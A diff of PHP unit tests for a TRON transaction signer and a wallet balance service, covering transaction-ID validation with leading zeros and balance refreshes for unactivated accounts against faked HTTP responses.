private const PRIVATE_KEY = '0000000000000000000000000000000000000000000000000000000000000001';
|
||||
|
||||
#[Test]
|
||||
#[DataProvider('validTxIds')]
|
||||
public function signs_valid_txid_without_stripping_leading_zeros(string $txId): void
|
||||
{
|
||||
$sig = TronSigner::signTxId(self::PRIVATE_KEY, $txId);
|
||||
|
||||
$this->assertMatchesRegularExpression('/^[0-9a-f]{130}$/', $sig);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function rejects_0x_prefixed_txid(): void
|
||||
{
|
||||
$this->expectException(RuntimeException::class);
|
||||
$this->expectExceptionMessageMatches('/^Invalid txID \(len=/');
|
||||
|
||||
TronSigner::signTxId(self::PRIVATE_KEY, '0x'.str_repeat('ab', 32));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function rejects_truncated_txid_that_old_ltrim_would_produce(): void
|
||||
{
|
||||
// Old ltrim(..., '0x') would turn "00ab..." into "ab..." (62 chars).
|
||||
$this->expectException(RuntimeException::class);
|
||||
$this->expectExceptionMessageMatches('/^Invalid txID \(len=/');
|
||||
|
||||
TronSigner::signTxId(self::PRIVATE_KEY, str_repeat('ab', 31));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function stress_signs_many_leading_zero_txids(): void
|
||||
{
|
||||
for ($i = 0; $i < 200; $i++) {
|
||||
$prefixZeros = random_int(1, 8);
|
||||
$txId = str_repeat('0', $prefixZeros).bin2hex(random_bytes(32));
|
||||
$txId = substr($txId, 0, 64);
|
||||
$this->assertSame(64, strlen($txId));
|
||||
$this->assertSame('0', $txId[0]);
|
||||
|
||||
$sig = TronSigner::signTxId(self::PRIVATE_KEY, $txId);
|
||||
$this->assertMatchesRegularExpression('/^[0-9a-f]{130}$/', $sig);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, array{0: string}>
|
||||
*/
|
||||
public static function validTxIds(): array
|
||||
{
|
||||
return [
|
||||
'no leading zero' => [str_repeat('ab', 32)],
|
||||
'one leading zero' => ['0'.str_repeat('a', 63)],
|
||||
'two leading zeros' => ['00'.str_repeat('b', 62)],
|
||||
'many leading zeros' => [str_pad('deadbeef', 64, '0', STR_PAD_LEFT)],
|
||||
'uppercase accepted after lower' => [strtoupper(str_repeat('cd', 32))],
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -124,4 +124,57 @@ class WalletBalanceServiceTest extends TestCase
|
||||
$this->assertEqualsWithDelta(0.0, (float) $addr->trx, 0.0000001);
|
||||
$this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function never_activated_trongrid_account_writes_zeros_without_wallet_rpc(): void
|
||||
{
|
||||
Http::fake([
|
||||
'*/v1/accounts/*' => Http::response(['data' => [], 'success' => true], 200),
|
||||
'*/wallet/*' => Http::response(['should' => 'not be called'], 500),
|
||||
]);
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-bal-inactive-v1',
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
]);
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
]);
|
||||
|
||||
$this->assertTrue(app(WalletBalanceService::class)->refresh($addr));
|
||||
$addr->refresh();
|
||||
$this->assertEqualsWithDelta(0.0, (float) $addr->trx, 0.0000001);
|
||||
$this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001);
|
||||
Http::assertSentCount(1);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function unactivated_getaccount_skips_usdt_token_call(): void
|
||||
{
|
||||
Http::fake([
|
||||
'*/v1/accounts/*' => Http::response('unavailable', 503),
|
||||
'*/wallet/getaccount' => Http::response([], 200),
|
||||
'*/wallet/triggerconstantcontract' => Http::response(['constant_result' => ['ffffff']], 200),
|
||||
]);
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-bal-inactive-wallet',
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
]);
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
]);
|
||||
|
||||
$this->assertTrue(app(WalletBalanceService::class)->refresh($addr));
|
||||
$addr->refresh();
|
||||
$this->assertEqualsWithDelta(0.0, (float) $addr->trx, 0.0000001);
|
||||
$this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001);
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'triggerconstantcontract'));
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user